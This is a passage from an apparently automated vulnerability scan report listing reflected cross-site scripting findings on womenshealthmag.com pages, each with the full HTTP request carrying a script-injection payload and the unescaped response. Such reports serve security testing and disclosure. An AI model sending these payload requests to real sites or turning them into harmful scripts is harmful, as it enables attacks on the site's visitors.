User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:45 GMT
Date: Thu, 10 Mar 2011 17:22:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 92221

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/?bd2dc"><script>alert(1)</script>665497b8340=1">
...[SNIP]...

2.1045. http://www.womenshealthmag.com/health/frank-lipman-wellness [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/frank-lipman-wellness

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d389"><script>alert(1)</script>5e19ae0ac0c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/frank-lipman-wellness?8d389"><script>alert(1)</script>5e19ae0ac0c=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:43 GMT
Date: Thu, 10 Mar 2011 17:22:43 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 64378

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/frank-lipman-wellness?8d389"><script>alert(1)</script>5e19ae0ac0c=1">
...[SNIP]...

2.1046. http://www.womenshealthmag.com/health/good-night-of-sleep [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/good-night-of-sleep

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4fde5"><script>alert(1)</script>8797413844e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/good-night-of-sleep?4fde5"><script>alert(1)</script>8797413844e=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:39 GMT
Date: Thu, 10 Mar 2011 17:22:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 67206

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphpr
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/good-night-of-sleep?4fde5"><script>alert(1)</script>8797413844e=1">
...[SNIP]...

2.1047. http://www.womenshealthmag.com/health/improve-your-vision-hearing-and-more [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/improve-your-vision-hearing-and-more

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ffac"><script>alert(1)</script>e64a6c722ef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/improve-your-vision-hearing-and-more?9ffac"><script>alert(1)</script>e64a6c722ef=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:43 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:45 GMT
Date: Thu, 10 Mar 2011 17:22:45 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 61579

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/improve-your-vision-hearing-and-more?9ffac"><script>alert(1)</script>e64a6c722ef=1">
...[SNIP]...

2.1048. http://www.womenshealthmag.com/health/increase-your-libido [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/increase-your-libido

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce0fd"><script>alert(1)</script>92d0d30f480 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/increase-your-libido?ce0fd"><script>alert(1)</script>92d0d30f480=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604799
Expires: Thu, 17 Mar 2011 17:22:28 GMT
Date: Thu, 10 Mar 2011 17:22:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 53573

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/increase-your-libido?ce0fd"><script>alert(1)</script>92d0d30f480=1">
...[SNIP]...

2.1049. http://www.womenshealthmag.com/health/sidewalk-rage [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/sidewalk-rage

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2d67b"><script>alert(1)</script>7a9267411b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/sidewalk-rage?2d67b"><script>alert(1)</script>7a9267411b5=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:40 GMT
Date: Thu, 10 Mar 2011 17:22:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 60662

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/sidewalk-rage?2d67b"><script>alert(1)</script>7a9267411b5=1">
...[SNIP]...

2.1050. http://www.womenshealthmag.com/health/sleep-more-soundly [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/sleep-more-soundly

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0788"><script>alert(1)</script>a17fe52c7a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/sleep-more-soundly?a0788"><script>alert(1)</script>a17fe52c7a7=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604799
Expires: Thu, 17 Mar 2011 17:22:36 GMT
Date: Thu, 10 Mar 2011 17:22:37 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 59078

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/sleep-more-soundly?a0788"><script>alert(1)</script>a17fe52c7a7=1">
...[SNIP]...

2.1051. http://www.womenshealthmag.com/health/sweating/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/sweating/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 746be"><script>alert(1)</script>9087884f754 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/sweating/?746be"><script>alert(1)</script>9087884f754=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:55 GMT
Date: Thu, 10 Mar 2011 17:22:55 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 50954

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/sweating/?746be"><script>alert(1)</script>9087884f754=1">
...[SNIP]...

2.1052. http://www.womenshealthmag.com/health/yoga [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/health/yoga

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dae28"><script>alert(1)</script>59b110d866d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /health/yoga?dae28"><script>alert(1)</script>59b110d866d=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:22:35 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=604800
Expires: Thu, 17 Mar 2011 17:22:38 GMT
Date: Thu, 10 Mar 2011 17:22:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 51983

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotoco
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/health/yoga?dae28"><script>alert(1)</script>59b110d866d=1">
...[SNIP]...

2.1053. http://www.womenshealthmag.com/help [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/help

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b756e"><script>alert(1)</script>3269128b286 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help?b756e"><script>alert(1)</script>3269128b286=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:22:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:22:08 GMT
Date: Thu, 10 Mar 2011 17:22:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 47005

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/help?b756e"><script>alert(1)</script>3269128b286=1">
...[SNIP]...

2.1054. http://www.womenshealthmag.com/help-about-womens-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/help-about-womens-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4c982"><script>alert(1)</script>f42603416f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help-about-womens-health?4c982"><script>alert(1)</script>f42603416f8=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3599
Expires: Thu, 10 Mar 2011 18:23:32 GMT
Date: Thu, 10 Mar 2011 17:23:33 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 44444

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/help-about-womens-health?4c982"><script>alert(1)</script>f42603416f8=1">
...[SNIP]...

2.1055. http://www.womenshealthmag.com/help-contact-us [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/help-contact-us

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c24f"><script>alert(1)</script>5f2a948fda6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help-contact-us?2c24f"><script>alert(1)</script>5f2a948fda6=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:32 GMT
Date: Thu, 10 Mar 2011 17:23:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 44966

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/help-contact-us?2c24f"><script>alert(1)</script>5f2a948fda6=1">
...[SNIP]...

2.1056. http://www.womenshealthmag.com/help/sitemap [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/help/sitemap

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d93e2"><script>alert(1)</script>a0b3b446999 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /help/sitemap?d93e2"><script>alert(1)</script>a0b3b446999=1 HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:23:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=3600
Expires: Thu, 10 Mar 2011 18:23:36 GMT
Date: Thu, 10 Mar 2011 17:23:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 52083

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=womenshealth&returnUrl=http%3A%2F%2Fwww.womenshealthmag.com/help/sitemap?d93e2"><script>alert(1)</script>a0b3b446999=1">
...[SNIP]...

2.1057. http://www.womenshealthmag.com/image/tid/2231]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2231]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e9014"><script>alert(1)</script>5833bd455c3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tide9014"><script>alert(1)</script>5833bd455c3/2231]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:54:12 GMT
Date: Thu, 10 Mar 2011 17:24:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tide9014"><script>alert(1)</script>5833bd455c3/2231]]" />
...[SNIP]...

2.1058. http://www.womenshealthmag.com/image/tid/2297]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2297]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f72f"><script>alert(1)</script>da8a3a0a57f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tid8f72f"><script>alert(1)</script>da8a3a0a57f/2297]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=7nck2qi7auq0t9r5; __utmz=215400849.1299775256.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=215400849.1319002859.1299775256.1299775256.1299775256.1; __utmc=215400849; __utmb=215400849.1.10.1299775256; __qca=P0-1729100254-1299775233056;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.6 (Unix) PHP/5.2.4
X-Powered-By: PHP/5.2.4
Last-Modified: Thu, 10 Mar 2011 17:24:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:54:12 GMT
Date: Thu, 10 Mar 2011 17:24:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 40553

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...
<link rel="canonical" href="http://www.womenshealthmag.com/image/tid8f72f"><script>alert(1)</script>da8a3a0a57f/2297]]" />
...[SNIP]...

2.1059. http://www.womenshealthmag.com/image/tid/2375]] [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.womenshealthmag.com
Path:	/image/tid/2375]]

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b673c"><script>alert(1)</script>e91469b35d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /image/tidb673c"><script>alert(1)</script>e91469b35d5/2375]] HTTP/1.1
Host: www.womenshealthmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
